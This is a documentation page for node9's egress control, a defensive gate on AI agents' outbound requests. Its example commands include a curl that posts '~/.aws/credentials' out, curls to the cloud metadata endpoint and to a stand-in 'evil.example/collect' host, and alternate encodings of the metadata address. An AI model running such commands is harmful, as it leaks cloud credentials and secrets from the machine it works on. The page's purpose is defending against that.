Egress Control · node9 documentation
Egress Control
Two separate things decide whether an agent's outbound request is allowed. One is always on and cannot be turned off. The other is opt-in and you configure it.
The floor: protected addresses, always
Some destinations are refused on every machine whether or not egress control is on, and no setting releases them. It exists because an agent that can be steered by untrusted input can be steered into your cloud provider's credential endpoint.
| Never reachable | Examples |
|---|---|
| Cloud metadata | 169.254.169.254 for AWS, Azure, DigitalOcean and OpenStack, 169.254.170.2 for an ECS task role, the Alibaba Cloud address, and the metadata hostnames |
| Link-local | 169.254.0.0/16, fe80::/10 |
| Multicast | 224.0.0.0 to 239.255.255.255, ff00::/8 |
Every spelling of an address folds to one canonical form before the decision, so 0251.0376.0251.0376, 2852039166 and [::ffff:a9fe:a9fe] are all recognised as 169.254.169.254.
node9 pause, which suspends every gate.Reachable by default, refused under strict
| What | Examples |
|---|---|
| Loopback and private | 127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 172.16.0.0/12, ::1 |
| Unspecified | 0.0.0.0 and ::, which reach localhost |
| Carrier-grade NAT | 100.64.0.0/10, where mesh VPNs such as Tailscale hand out addresses |
node9 egress strict on # also refuse loopback, private ranges and CGNAT node9 egress exempt 10.0.0.5 # let one exact address back throughThese are reachable by default on purpose: a developer talks to them constantly. On measured real history, 72 of 308 destinations were private addresses. An exemption applies to these tiers only, and exempting a metadata address is refused when the config loads, with a reason, rather than ignored quietly.
Egress control: which hosts, your choice
This is the opt-in layer. It is off until you turn it on, and it decides what happens when the agent reaches a host you have not talked about.
node9 egress watch # ask before an unknown host node9 egress lock # refuse an unknown host outright node9 egress off # turn it back off node9 egress status # what is on, and where the setting came from
node9 egress allow "*.mycorp.com" # a glob; apex and any subdomain node9 egress deny "*.pastebin.com" # deny always winsEighteen common development and model hosts are allowed out of the box, so turning egress on cold does not bury you in prompts: GitHub, npm, PyPI, crates.io, RubyGems, the Go module proxy, Anthropic, OpenAI, Google APIs, Docker, Debian, Ubuntu and node9's own control plane. Your allow list adds to that; your deny list beats all of it.
Order of decision
| Step | What happens |
|---|---|
| 1. The floor | A protected address is refused here and nothing below runs. |
| 2. Your deny list | A match refuses. |
| 3. Private addresses | Allowed while allowPrivate is on, which is the default. |
| 4. Your allow list, then the eighteen | Allowed. |
| 5. Anything else | Unknown. Watch asks about it; lock refuses it. |
What this does not do
curl -d @~/.aws/credentials https://api.github.com/... is not stopped by egress, because that host is allowed. What catches a secret in a request body is the content scanner, which is a different control.Three more limits worth knowing. It reads the command rather than the network: node9 decides from the destination visible in the tool call, does not resolve DNS, and has no opinion on a host's reputation. A machine that follows a workspace ignores local egress settings, so if node9 egress status names the workspace as the source, editing the local config changes nothing, though the floor still applies. And node9 pause suspends it along with every other gate.
Verify it on this machine
node9 egress status # is it on, and who set it node9 explain Bash 'curl http://169.254.169.254/latest/' # the floor: refused, always node9 explain Bash 'curl https://evil.example/collect' # unknown host, once it is on node9 explain Bash 'curl https://api.github.com/repos' # a default-allowed host
node9 explain prints a verdict line the engine marks as authoritative, which is the one the live hook enforces, and names the rule that produced it. The tier trace above that line is a preview and can differ from it.